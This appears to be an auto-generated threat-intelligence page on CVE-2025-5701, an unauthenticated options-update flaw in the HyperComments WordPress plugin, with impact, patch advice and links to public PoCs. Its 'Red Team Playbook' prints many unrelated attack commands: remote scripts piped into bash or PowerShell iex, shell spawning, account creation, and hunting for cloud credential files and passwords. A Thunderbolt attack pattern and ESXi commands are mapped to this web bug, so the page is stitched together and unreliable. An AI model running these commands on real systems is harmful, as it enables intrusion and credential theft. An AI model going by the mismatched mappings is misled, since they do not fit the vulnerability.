CVE-2025-5701
Overview
This vulnerability is an authorization bypass due to a missing capability check within the hc_request_handler function of the HyperComments WordPress plugin. The flaw resides in the plugin's request handling component, which fails to verify user permissions before processing certain data modification requests. This lack of proper access control enables unauthorized users to manipulate plugin options.
Vulnerability Description
The HyperComments plugin for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability check on the hc_request_handler function in all versions up to, and including, 1.2.2. This makes it possible for unauthenticated attackers to update arbitrary options on the WordPress site. This can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site.
Impact
An unauthenticated attacker can leverage this vulnerability to escalate privileges by modifying WordPress options to assign the administrator role to new users and enable user registration. This leads to unauthorized administrative access on the affected site, allowing full control over content and configuration. The exploit requires only network access to the WordPress site and no user interaction, consistent with the CVSS vector indicating no user interaction and low attack complexity (AV:N/AC:L/PR:L/UI:N).
Solution
Upgrade the HyperComments plugin to a version later than 1.2.2 where the missing capability check in hc_request_handler is implemented. Refer to the WordFence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/07fd6bee-5b00-4fc1-9f7a-3857fd35c763) for detailed patch instructions and verification steps. No additional workarounds are documented; applying the vendor's fixed plugin version is required to remediate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the HyperComments plugin for WordPress stems from a critical oversight in the hc_request_handler function, which lacks a necessary capability check. This oversight allows unauthorized users to modify data on the WordPress site, specifically enabling them to change settings that should be restricted to authenticated administrators. The absence of proper access controls means that any unauthenticated individual can exploit this flaw to alter arbitrary options within the WordPress configuration. This includes the ability to change the default role assigned to new user registrations, potentially elevating their privileges to that of an administrator.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could craft a simple HTTP request to the vulnerable endpoint, manipulating parameters to execute unauthorized commands. For instance, by sending a request to update the default user role to 'administrator', an attacker could facilitate the registration of new users with elevated privileges. This scenario is particularly concerning as it allows for the mass creation of administrative accounts, which can be used to take full control of the compromised WordPress site. Additionally, attackers could leverage this vulnerability in combination with other exploits, such as social engineering tactics, to further entrench their access and manipulate site content or data.
The real-world implications of this vulnerability are significant, particularly for businesses relying on WordPress for their online presence. A successful exploitation could lead to unauthorized access to sensitive data, loss of control over the website, and potential defacement or data manipulation. The ability for an attacker to create administrative accounts poses a severe risk, as it can lead to a complete takeover of the site, resulting in reputational damage, loss of customer trust, and potential legal ramifications if sensitive user data is compromised. Furthermore, the financial impact could be substantial, encompassing costs related to incident response, recovery, and potential regulatory fines.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular security audits and vulnerability assessments are crucial in identifying outdated plugins and configurations that may expose the site to risks. Additionally, employing a web application firewall (WAF) can help filter out malicious requests targeting the vulnerable endpoint. It is also essential to keep all plugins and WordPress installations updated to the latest versions, as developers often release patches to address known vulnerabilities. Furthermore, implementing strict access controls and user role management can help limit the potential impact of such vulnerabilities, ensuring that only trusted users have administrative capabilities.
In conclusion, the vulnerability in the HyperComments plugin represents a severe threat to WordPress sites, with the potential for significant exploitation and impact. Organizations must prioritize the identification and remediation of such vulnerabilities to safeguard their digital assets and maintain the integrity of their online operations. By adopting proactive security measures, businesses can mitigate risks and protect themselves against the evolving landscape of cyber threats.
Recent updates to the CVE-2025-5701 vulnerability reveal a downward revision of its CVSS score from 9.8 to 8.8, accompanied by a corresponding decrease in the Exploit Prediction Scoring System (EPSS) from 0.1691 to 0.1344. CSURFACE threat intelligence notes this adjustment reflects a moderate reduction in the assessed exploitability and overall risk, supported by a declining trend in exploit activity over the past week. Although multiple proof-of-concept exploits remain publicly accessible, our telemetry indicates no significant surge in active exploitation attempts. This evolving risk profile suggests that while the vulnerability continues to pose a high threat due to its potential for privilege escalation via unauthenticated access, the immediacy and frequency of exploitation have somewhat diminished. Defenders should interpret this as a signal to maintain vigilance but recognize a slight easing in the urgency of active threat exploitation. The updated risk assessment underscores the importance of continued monitoring, as the availability of functional exploits sustains the potential for targeted attacks despite the current downtrend in exploitation activity.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (3)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Nxploited/CVE-2025-5701
WordPress HyperComments Plugin <= 1.2.2 is vulnerable to Privilege Escalation
|
Nxploited | 1 | 0 | 2025-06-05 | View |
|
RandomRobbieBF/CVE-2025-5701
HyperComments <= 1.2.2 - Unauthenticated (Subscriber+) Arbitrary Options Update
|
RandomRobbieBF | 1 | 0 | 2025-06-12 | View |
|
qalesyaSN/CVE-2025-5701
Unauthenticated Privilege Escalation Exploit
|
qalesyaSN | 0 | 0 | 2026-02-11 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
47%
|
Low | Very High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-5701 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/07fd6bee-5b00-4fc1-9f7a-3857fd35c763?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/hypercomments/trunk/hypercomments.php |